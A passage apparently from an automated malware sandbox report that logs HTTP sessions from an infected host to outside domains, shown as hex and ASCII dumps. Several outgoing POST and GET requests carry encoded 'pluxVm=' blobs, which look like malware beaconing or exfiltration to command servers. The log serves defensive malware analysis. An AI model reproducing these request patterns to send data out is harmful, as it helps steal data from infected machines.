42 72 47 48 6e 4a 6c 53 32 31 66 44 44 33 35 45 74 37 62 41 6e 71 35 69 69 57 54 49 71 4f 36 61 49 78 42 52 39 50 6f 62 6f 6c 32 34 59 68 2f 63 68 65 2f 71 36 35 57 63 62 4d 74 56 68 75 4c 44 38 62 58 [TRUNCATED] Data Ascii: pluxVm=/U+nYUa3gaCuOZH37YBUjkfPN1+iZ7UzTNmNVlrwWv2JuqnDaqZKCamvhS6cuRLTAgam9SErO7pNotsiyThcwIiHNDVHVUCZ5Rw9sNTCZXdpxv0PSOsLD/ed3SRe+0xBANRBi3Kvl8rVXR8RrsNbieGuoS6u5+tgVPhloglmwQUG4t1nQNsQdIXeWcFa6v/mYMxFqlELi435FXU07K6rfG7oT7xGQUGIvqxNLFvOCO7kS2cnuOJfNXrjuGtCw0lCjGrOzlJ/BrGHnJlS21fDD35Et7bAnq5iiWTIqO6aIxBR9Pobol24Yh/che/q65WcbMtVhuLD8bXg25KQJXxtnPUNf8pbp5CfqkGMV19Wx2DhbafigfPi8AtD+llVsEDAazN8lFXxaU0P8MQ/fOXIYZ1Y9KFdvl2B4csLuBdNXnVUajmDPXg7w52QwYGDtciwCqeBOiG3cUya1ebEqKTnAnR8H7rUMfFTf010AuovWMipkb+KcxnsIshj5V1a1auMoG7Awx7Sdo7a2mV36l2H89SKsh/M7hvVHwug3JUYXDiSBote3m5WElRHJM/gUUPNevWD7jd6PpzqGKSeQwFZBbCK1PvJkpOijXAaAYmQVkTRKVuyPmtOqP1c/r86cFaoMIzPSQNlY52hN2R9UF746ow/9cGHB7gszD7RVlAV9xsUtQrERKOIotMvQAHeYmsp6qLK83bCXnwgJQbpHbehpaGhZ7l04/QQsegaX/1+aDIexqdQ6ZKCWxpgTuC1iEaWXAjQxNbQsIrlj6OFYewCJ8Jf/nzRzmetg/JohXeZ5fh31DrbW0mH+GPhyCwifrETZQv6Ab8Y7PIidOfAmBeM40ulJ8NggIGf9q/B9ubK5j4H+PWtkCwtWBH2/jpBROyC3xgCNBvhjVPFLHkpsIHyyymJIoMR4B9C2JBc0uzHYCz37IZXdg0e60CG6fZuMBKGm/6wYDLLLrcIOG36c2B13oCeT6Y/uvzgsjjbOP+WVji0r [TRUNCATED]
Dec 3, 2024 14:56:03.782618046 CET	5427	OUT	Data Raw: 31 62 6b 74 33 69 78 6d 48 4b 71 56 31 64 4f 39 79 67 30 30 52 50 55 58 48 5a 57 77 41 77 46 67 2f 65 64 33 37 31 66 6b 6d 37 71 30 49 47 39 31 31 53 39 63 5a 58 36 72 54 4b 4b 32 5a 62 51 73 78 58 50 33 62 37 61 36 77 6b 34 6b 5a 45 2f 78 6d 67 Data Ascii: 1bkt3ixmHKqV1dO9yg00RPUXHZWwAwFg/ed371fkm7q0IG911S9cZX6rTKK2ZbQsxXP3b7a6wk4kZE/xmgXxYGLj6vYTo0KLDk/nWWWak5UnMEjzStjeLJfxODAKWVQgtsATeT9Bcdr+ezrDLEPmY/VP1zPqBBqElEZZxOknlLQR/qR8P+5XvHphG+c6S8Eseeg2JIyiKOOYv54xKlHe0/m+03moEcETbRWuIp2jZHle7VDTV38

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.11.20	49832	208.91.197.27	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:56:06.454502106 CET	425	OUT	GET /mdkc/?pluxVm=yWWHbhCahbG3DdaBnt9NrGvMUCSQc4g2Tqe6SUjOSsODgr6CFa5SJdyjtzT5mznodS2lvT8/GpN3gvUqymh3/8TyFQ0rIiTFrx443/jhZTAx0fULTMMcMck=&Z1EO=OvfHeluUy HTTP/1.1 Host: www.epicurecooks.world Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0
Dec 3, 2024 14:56:07.112541914 CET	999	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 13:56:06 GMT Server: Apache Referrer-Policy: no-referrer-when-downgrade Accept-CH: Sec-CH-Save-Data, Sec-CH-DPR, Sec-CH-Width, Sec-CH-Viewport-Width, Sec-CH-Viewport-Height, Sec-CH-Device-Memory, Sec-CH-RTT, Sec-CH-Downlink, Sec-CH-ECT, Sec-CH-Prefers-Color-Scheme, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-platform-version=("https://dts.gnpge.com"), ch-ua-model=("https://dts.gnpge.com") Set-Cookie: vsid=901vr480779766631084573; expires=Sun, 02-Dec-2029 13:56:06 GMT; Max-Age=157680000; path=/; domain=www.epicurecooks.world; HttpOnly X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_Qc4AuhigFg8r2P44Ahsh8bwNmEM1XOJ/2JxY7rqUyl9lnNqfVsEL9tG1PBe14SfEyJewSt5/6EqiUIq8XQ0z/A== Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Connection: close
Dec 3, 2024 14:56:07.112596035 CET	184	IN	Data Raw: 39 66 38 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c Data Ascii: 9f8e<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><link rel="preconnect" href="https://delivery.consentmanager.net"> <link
Dec 3, 2024 14:56:07.112642050 CET	1220	IN	Data Raw: 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 63 72 Data Ascii: rel="preconnect" href="https://cdn.consentmanager.net"> <script>window.cmp_stayiniframe = 1; window.cmp_dontloadiniframe = true; if(!"gdprAppliesGlobally" in window){window.gdprAppliesGlobally=true}if(!("cmp_id" in window
Dec 3, 2024 14:56:07.112684011 CET	1220	IN	Data Raw: 28 77 69 6e 64 6f 77 2e 63 6d 70 5f 63 75 73 74 6f 6d 6c 61 6e 67 75 61 67 65 73 5b 62 5d 2e 6c 29 7d 7d 7d 72 65 74 75 72 6e 20 61 7d 3b 77 69 6e 64 6f 77 2e 63 6d 70 5f 67 65 74 6c 61 6e 67 3d 66 75 6e 63 74 69 6f 6e 28 6a 29 7b 69 66 28 74 79 Data Ascii: (window.cmp_customlanguages[b].l)}}}return a};window.cmp_getlang=function(j){if(typeof(j)!="boolean"){j=true}if(j&&typeof(cmp_getlang.usedlang)=="string"&&cmp_getlang.usedlang!==""){return cmp_getlang.usedlang}var g=window.cmp_getsupportedLang
Dec 3, 2024 14:56:07.112725973 CET	1220	IN	Data Raw: 3b 76 61 72 20 62 3d 22 5f 65 6e 22 3b 69 66 28 22 63 6d 70 5f 67 65 74 6c 61 6e 67 22 20 69 6e 20 68 29 7b 6f 3d 68 2e 63 6d 70 5f 67 65 74 6c 61 6e 67 28 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 69 66 28 22 63 6d 70 5f 63 75 73 74 6f 6d Data Ascii: ;var b="_en";if("cmp_getlang" in h){o=h.cmp_getlang().toLowerCase();if("cmp_customlanguages" in h){for(var q=0;q<h.cmp_customlanguages.length;q++){if(h.cmp_customlanguages[q].l.toUpperCase()==o.toUpperCase()){o="en";break}}}b="_"+o}function x(
Dec 3, 2024 14:56:07.112768888 CET	1220	IN	Data Raw: 67 70 70 6b 65 79 3d 22 2b 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 72 29 3a 22 22 29 2b 28 6e 21 3d 22 22 3f 22 26 63 6d 70 61 74 74 3d 22 2b 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 6e 29 3a 22 22 29 2b 28 22 63 Data Ascii: gppkey="+encodeURIComponent(r):"")+(n!=""?"&cmpatt="+encodeURIComponent(n):"")+("cmp_params" in h?"&"+h.cmp_params:"")+(u.cookie.length>0?"&__cmpfcc=1":"")+"&l="+o.toLowerCase()+"&o="+(new Date()).getTime();j.type="text/javascript";j.async=tru
Dec 3, 2024 14:56:07.112812996 CET	1220	IN	Data Raw: 74 2e 6c 65 6e 67 74 68 3d 3d 30 29 7b 74 3d 76 28 22 68 65 61 64 22 29 7d 69 66 28 74 2e 6c 65 6e 67 74 68 3e 30 29 7b 74 5b 30 5d 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6a 29 7d 7d 7d 7d 29 28 29 3b 77 69 6e 64 6f 77 2e 63 6d 70 5f 61 64 64 46 Data Ascii: t.length==0){t=v("head")}if(t.length>0){t[0].appendChild(j)}}}})();window.cmp_addFrame=function(b){if(!window.frames[b]){if(document.body){var a=document.createElement("iframe");a.style.cssText="display:none";if("cmp_cdn" in window&&"cmp_ultra
Dec 3, 2024 14:56:07.112854004 CET	1220	IN	Data Raw: 7d 65 6c 73 65 7b 69 66 28 61 5b 30 5d 3d 3d 3d 22 67 65 74 55 53 50 44 61 74 61 22 29 7b 61 5b 32 5d 28 7b 76 65 72 73 69 6f 6e 3a 31 2c 75 73 70 53 74 72 69 6e 67 3a 77 69 6e 64 6f 77 2e 63 6d 70 5f 72 63 28 22 22 29 7d 2c 74 72 75 65 29 7d 65 Data Ascii: }else{if(a[0]==="getUSPData"){a[2]({version:1,uspString:window.cmp_rc("")},true)}else{if(a[0]==="getTCData"){__cmp.a.push([].slice.apply(a))}else{if(a[0]==="addEventListener"\|\|a[0]==="removeEventListener"){__cmp.a.push([].slice.apply(a))}else{
Dec 3, 2024 14:56:07.112895966 CET	1220	IN	Data Raw: 3d 22 67 65 74 47 50 50 44 61 74 61 22 29 7b 72 65 74 75 72 6e 7b 73 65 63 74 69 6f 6e 49 64 3a 33 2c 67 70 70 56 65 72 73 69 6f 6e 3a 31 2c 73 65 63 74 69 6f 6e 4c 69 73 74 3a 5b 5d 2c 61 70 70 6c 69 63 61 62 6c 65 53 65 63 74 69 6f 6e 73 3a 5b Data Ascii: ="getGPPData"){return{sectionId:3,gppVersion:1,sectionList:[],applicableSections:[0],gppString:"",pingData:window.cmp_gpp_ping()}}else{if(g==="hasSection"\|\|g==="getSection"\|\|g==="getField"){return null}else{__gpp.q.push([].slice.apply(a))}}}}}
Dec 3, 2024 14:56:07.112973928 CET	1220	IN	Data Raw: 72 6e 3a 7b 72 65 74 75 72 6e 56 61 6c 75 65 3a 68 2c 73 75 63 63 65 73 73 3a 67 2c 63 61 6c 6c 49 64 3a 62 2e 63 61 6c 6c 49 64 7d 7d 3b 64 2e 73 6f 75 72 63 65 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 61 3f 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 Data Ascii: rn:{returnValue:h,success:g,callId:b.callId}};d.source.postMessage(a?JSON.stringify(e):e,"*")},"parameter" in b?b.parameter:null,"version" in b?b.version:1)}};window.cmp_setStub=function(a){if(!(a in window)\|\|(typeof(window[a])!=="function"&&t
Dec 3, 2024 14:56:07.113020897 CET	1220	IN	Data Raw: 73 61 62 6c 65 75 73 70 22 20 69 6e 20 77 69 6e 64 6f 77 29 7c 7c 21 77 69 6e 64 6f 77 2e 63 6d 70 5f 64 69 73 61 62 6c 65 75 73 70 29 7b 77 69 6e 64 6f 77 2e 63 6d 70 5f 73 65 74 53 74 75 62 28 22 5f 5f 75 73 70 61 70 69 22 29 7d 69 66 28 21 28 Data Ascii: sableusp" in window)\|\|!window.cmp_disableusp){window.cmp_setStub("__uspapi")}if(!("cmp_disablegpp" in window)\|\|!window.cmp_disablegpp){window.cmp_setGppStub("__gpp")};</script><script type="text/javascript">var abp;</script><script type="text/

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.11.20	49833	89.31.143.90	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:56:12.601114035 CET	677	OUT	POST /og0p/ HTTP/1.1 Host: www.eichner.pro Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.eichner.pro Referer: http://www.eichner.pro/og0p/ Content-Length: 203 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 58 61 6c 54 36 59 48 55 64 5a 6a 78 45 4d 34 71 72 79 76 73 52 31 70 6d 4d 72 64 4a 72 32 71 31 63 7a 7a 66 42 6c 51 4b 55 66 77 7a 33 39 62 7a 6a 38 65 35 46 5a 4d 35 50 4b 47 6b 7a 68 52 4b 31 33 74 6b 7a 51 6e 51 51 66 67 4e 4c 42 48 47 41 58 47 52 55 38 75 49 50 69 59 73 79 56 4f 52 2f 4e 4e 55 4f 70 6f 48 6c 36 75 69 68 4f 36 70 61 39 72 45 65 32 66 47 6c 31 6f 74 76 4c 75 2f 41 47 36 4b 4b 6d 41 62 54 6d 53 74 69 71 74 49 50 45 69 6f 2f 57 6e 70 6a 45 55 65 78 46 31 69 78 77 72 7a 4f 48 6b 6f 33 73 43 6b 39 4a 72 6a 44 4b 67 59 34 45 6a 6b 44 63 68 63 65 59 6e 43 6f 51 3d 3d Data Ascii: pluxVm=XalT6YHUdZjxEM4qryvsR1pmMrdJr2q1czzfBlQKUfwz39bzj8e5FZM5PKGkzhRK13tkzQnQQfgNLBHGAXGRU8uIPiYsyVOR/NNUOpoHl6uihO6pa9rEe2fGl1otvLu/AG6KKmAbTmStiqtIPEio/WnpjEUexF1ixwrzOHko3sCk9JrjDKgY4EjkDchceYnCoQ==
Dec 3, 2024 14:56:12.795176983 CET	333	IN	HTTP/1.1 405 Not Allowed Date: Tue, 03 Dec 2024 13:56:12 GMT Content-Type: text/html Content-Length: 154 Connection: close Server: UD Webspace 3.2 Allow: GET, POST, HEAD Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.11.20	49834	89.31.143.90	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:56:15.326878071 CET	697	OUT	POST /og0p/ HTTP/1.1 Host: www.eichner.pro Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.eichner.pro Referer: http://www.eichner.pro/og0p/ Content-Length: 223 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 58 61 6c 54 36 59 48 55 64 5a 6a 78 46 70 6f 71 6e 7a 76 73 55 56 70 68 44 4c 64 4a 79 47 71 35 63 7a 2f 66 42 6e 39 42 55 70 49 7a 30 5a 4c 7a 69 35 71 35 4c 35 4d 35 48 71 47 62 33 68 51 47 31 33 68 73 7a 55 6e 51 51 5a 4d 4e 4c 42 33 47 41 67 61 53 47 63 75 47 57 53 59 69 39 31 4f 52 2f 4e 4e 55 4f 70 38 35 6c 36 32 69 68 2b 4b 70 61 63 71 32 64 32 65 30 6f 6c 6f 74 72 4c 76 30 41 47 36 53 4b 69 5a 30 54 67 57 74 69 76 70 49 50 57 4b 72 77 57 6e 72 6e 45 56 73 2f 58 64 73 31 69 62 36 50 55 38 54 32 75 44 62 78 2f 6d 35 65 34 55 38 37 58 2f 57 48 73 59 30 63 61 6d 5a 31 58 61 6a 55 6a 41 78 36 65 73 76 36 39 66 69 47 6d 68 59 2f 72 41 3d Data Ascii: pluxVm=XalT6YHUdZjxFpoqnzvsUVphDLdJyGq5cz/fBn9BUpIz0ZLzi5q5L5M5HqGb3hQG13hszUnQQZMNLB3GAgaSGcuGWSYi91OR/NNUOp85l62ih+Kpacq2d2e0olotrLv0AG6SKiZ0TgWtivpIPWKrwWnrnEVs/Xds1ib6PU8T2uDbx/m5e4U87X/WHsY0camZ1XajUjAx6esv69fiGmhY/rA=
Dec 3, 2024 14:56:15.527430058 CET	333	IN	HTTP/1.1 405 Not Allowed Date: Tue, 03 Dec 2024 13:56:15 GMT Content-Type: text/html Content-Length: 154 Connection: close Server: UD Webspace 3.2 Allow: GET, POST, HEAD Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.11.20	49835	89.31.143.90	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:56:18.061311960 CET	2578	OUT	POST /og0p/ HTTP/1.1 Host: www.eichner.pro Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Origin: http://www.eichner.pro Referer: http://www.eichner.pro/og0p/ Content-Length: 7371 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0 Data Raw: 70 6c 75 78 56 6d 3d 58 61 6c 54 36 59 48 55 64 5a 6a 78 46 70 6f 71 6e 7a 76 73 55 56 70 68 44 4c 64 4a 79 47 71 35 63 7a 2f 66 42 6e 39 42 55 70 41 7a 30 72 44 7a 69 65 32 35 49 35 4d 35 4a 4b 47 61 33 68 51 4c 31 32 4a 6f 7a 55 69 74 51 61 34 4e 49 6a 2f 47 47 55 75 53 4d 63 75 47 65 79 59 76 79 56 50 56 2f 4e 64 51 4f 70 73 35 6c 36 32 69 68 38 53 70 63 4e 71 32 62 32 66 47 6c 31 6f 58 76 4c 76 63 41 43 57 6f 4b 69 56 65 54 51 32 74 6a 50 35 49 49 6c 69 72 39 57 6e 74 67 45 56 30 2f 58 41 75 31 69 47 46 50 52 6f 31 32 70 58 62 37 2b 58 5a 43 70 78 68 74 48 76 56 45 73 51 33 54 36 4f 37 34 45 4f 6b 45 6a 73 71 6b 4c 49 6b 38 4e 4c 43 44 33 4e 7a 69 66 71 41 4e 69 4b 78 69 44 2f 76 44 72 4c 31 5a 44 33 70 67 4c 47 54 65 37 4c 59 67 30 65 68 41 69 70 4a 58 6f 61 34 71 39 77 39 5a 52 77 31 56 4d 6a 4f 35 71 72 52 63 7a 59 50 62 34 53 7a 77 39 59 4e 66 47 55 43 37 70 2b 2b 33 76 68 57 55 46 75 71 41 36 76 75 41 36 57 42 33 6f 53 50 68 35 79 70 6e 31 39 6d 77 50 39 74 61 51 68 4a 38 63 33 47 78 37 6e [TRUNCATED] Data Ascii: pluxVm=XalT6YHUdZjxFpoqnzvsUVphDLdJyGq5cz/fBn9BUpAz0rDzie25I5M5JKGa3hQL12JozUitQa4NIj/GGUuSMcuGeyYvyVPV/NdQOps5l62ih8SpcNq2b2fGl1oXvLvcACWoKiVeTQ2tjP5IIlir9WntgEV0/XAu1iGFPRo12pXb7+XZCpxhtHvVEsQ3T6O74EOkEjsqkLIk8NLCD3NzifqANiKxiD/vDrL1ZD3pgLGTe7LYg0ehAipJXoa4q9w9ZRw1VMjO5qrRczYPb4Szw9YNfGUC7p++3vhWUFuqA6vuA6WB3oSPh5ypn19mwP9taQhJ8c3Gx7n3aZmbgpsOH2Hoiw1jBO8aJ1dpeafpwsyqik39A0Xt72KFIQHCHGA3oylD6w6LxFpGzyRvb/awk1ADw7yr3BposNcqGyBgWp0o2sE/C/G3GJ/H4gIEBv4B+xRiQhKPkvYgW/HBzedCSUjO6PXK76nH/VQwj7i3O636v3EwRPBv8fWlnbwedCM72Wiq1L9Z1sgXL5gBkMRN3fbfqupQRAYoEMBIDQSBwQyjiouSjjcmy/3IWN7MYonmNZ62vF69Z4mNG5vqDOI+RX1M9PQA4BYYXu1CnnnpumiTMmDHVxiFcK6lx3pHU0AOgMKhkW+qeDXV0H6mabVgKFmEC3yLLmEq22pAyj8lTghUxsen9QjYxTh94PLuddnAjSvA4pVeGtKmE69lxA9IUGzQarVoPNZtlq7bGzlDRWat9aqLfv032/lT4PVL78ndNVCtVJ1T/iOy1OLMV0v8MRj+NlLH28TVgLrlI85xQ70eNIXGWaD6IS9r8wNN2VN8rIAJ6iHpt9f3/sBxf4pmJTTjHpHJ7KhEwONIWqUepsuz0ZGKgqeJiVa7wCzCr6RIPvugKBe8SkxZ4UkB9cNfproRoJOzXlPCQEJWl2x5+YKHTSedTFBu3JE/ErbcQoO58MfkZw8sna2Ug9xtHybTMlV/1QdH99E6owFGc3KSlOTEi [TRUNCATED]
Dec 3, 2024 14:56:18.061377048 CET	5268	OUT	Data Raw: 78 63 4f 53 79 4c 31 4b 49 64 52 59 6c 7a 70 50 66 76 6d 33 6d 6c 45 63 4e 52 4a 2b 56 6d 4f 57 6a 37 6b 6e 4a 52 6c 57 66 56 5a 4a 51 57 4e 42 64 66 74 62 70 74 55 2f 63 6a 6b 57 4e 59 6a 66 64 32 39 78 36 34 35 70 76 6f 6e 6b 38 62 39 34 78 53 Data Ascii: xcOSyL1KIdRYlzpPfvm3mlEcNRJ+VmOWj7knJRlWfVZJQWNBdftbptU/cjkWNYjfd29x645pvonk8b94xSpJwYaxyFBKX96lzXs1dd8P/jgIPeF/la0/2I1VYFfpO/oj4ni47RKU0esYunwq9WGrHzKiXC3qTR4g+vDkVC2Xd3G4QE/CzmPfahPUzPerp0uY1D9m4O2t/JrERy2di3GVkL/DX5eChROL/wjqUO28tSPdIZGn6vF
Dec 3, 2024 14:56:18.262478113 CET	333	IN	HTTP/1.1 405 Not Allowed Date: Tue, 03 Dec 2024 13:56:18 GMT Content-Type: text/html Content-Length: 154 Connection: close Server: UD Webspace 3.2 Allow: GET, POST, HEAD Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.11.20	49836	89.31.143.90	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:56:20.785655975 CET	418	OUT	GET /og0p/?pluxVm=aYNz5vX3IaeBLII2gGf9eURLdfN+pzrBFxzqHFB0Zc0E767K5MaAH/EqLovM7A815HxojS38W68HbT3JNl21N4jIU1lh5jKS99Zmbqcxop+R6eeWU//8U3E=&Z1EO=OvfHeluUy HTTP/1.1 Host: www.eichner.pro Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Android 5.1.1; Tablet; rv:41.0) Gecko/41.0 Firefox/41.0
Dec 3, 2024 14:56:20.978429079 CET	159	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 13:56:20 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Server: UD Webspace 3.2 Data Raw: 31 39 65 30 0d 0a Data Ascii: 19e0
Dec 3, 2024 14:56:20.978614092 CET	1289	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 64 65 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 63 6f 6e 74 65 6e 74 3d 22 44 6f 6d 61 69 6e 20 72 65 67 69 73 Data Ascii: <!DOCTYPE html><html lang="de"><head><meta name="description"content="Domain registriert bei united-domains.de"><meta http-equiv="Content-Type"content="text/html; charset=UTF-8"><title>Domain im Kundenauftrag registriert</title><style>body,htm
Dec 3, 2024 14:56:20.978938103 CET	1289	IN	Data Raw: 41 50 59 61 64 38 47 41 36 41 41 41 41 41 58 52 53 54 6c 4d 41 51 4f 62 59 5a 67 41 41 42 38 70 4a 52 45 46 55 65 4e 72 74 6d 6f 75 53 6f 79 6f 51 51 42 73 78 43 42 68 41 35 50 48 2f 6e 33 70 74 6e 6f 62 64 5a 4a 78 39 31 63 79 74 6e 4b 70 4a 43 Data Ascii: APYad8GA6AAAAAXRSTlMAQObYZgAAB8pJREFUeNrtmouSoyoQQBsxCBhA5PH/n3ptnobdZJx91cytnKpJCELTHkHJbuDN94WwVSFihjefhggXYwwhRHyzHN58BqJCDEbNal1nE5Eg4M1lePB2JcSGeMK/V/JVjCU438SqQjzznoSXIH6FyqScESIWgoE3F/wJqMxhSm/MWhRo4tvgx1gBHUZayfuofFzh/wpTDP4Eyjzb1oCPB/
Dec 3, 2024 14:56:20.978996038 CET	1289	IN	Data Raw: 34 7a 32 77 33 36 44 37 57 50 79 31 51 48 2b 36 4b 4f 79 53 51 47 51 32 46 7a 65 43 4e 61 50 36 2b 48 54 58 42 4d 62 7a 58 64 78 41 51 51 43 38 66 67 72 50 5a 6c 78 51 33 73 61 52 41 4d 2b 66 77 75 64 72 56 73 71 52 76 42 5a 34 7a 74 64 65 45 44 Data Ascii: 4z2w36D7WPy1QH+6KOySQGQ2FzeCNaP6+HTXBMbzXdxAQQC8fgrPZlxQ3saRAM+fwudrVsqRvBZ4ztdeEDhNkDAXBfL4gPlQYKjGmaqdg+GMKRMiPOwDWd8HVjwhLr6kXw9VPjIgvO4Dq0lft57Y/KXAni9wFy8IVNGblbE1XBM47venDwXa2IBxPo1X5AeBqxie3aE8RYYV/PybyByG+Uo+EKji5x4idvTxmiEjAR8KZA++RBg
Dec 3, 2024 14:56:20.979039907 CET	1289	IN	Data Raw: 48 4d 42 77 36 55 5a 69 45 47 77 30 35 65 47 33 72 56 47 61 33 51 42 57 48 42 50 6e 61 78 69 49 52 32 37 4c 2f 68 42 45 69 42 33 66 59 50 6c 71 4c 67 42 4e 6c 39 79 4f 33 77 6c 6b 70 44 55 68 6b 70 63 31 61 6c 4a 2f 6f 7a 46 57 72 50 55 54 74 6a Data Ascii: HMBw6UZiEGw05eG3rVGa3QBWHBPnaxiIR27L/hBEiB3fYPlqLgBNl9yO3wlkpDUhkpc1alJ/ozFWrPUTtj+qDwiSxw0HaaQR6VA7hKghMPMSqf/AOVXTmgqvu9mAAAAAElFTkSuQmCC');overflow:hidden;text-indent:-9999px;font-size:0;color:rgba(255,255,255,0);text-align:left}#logo img{b
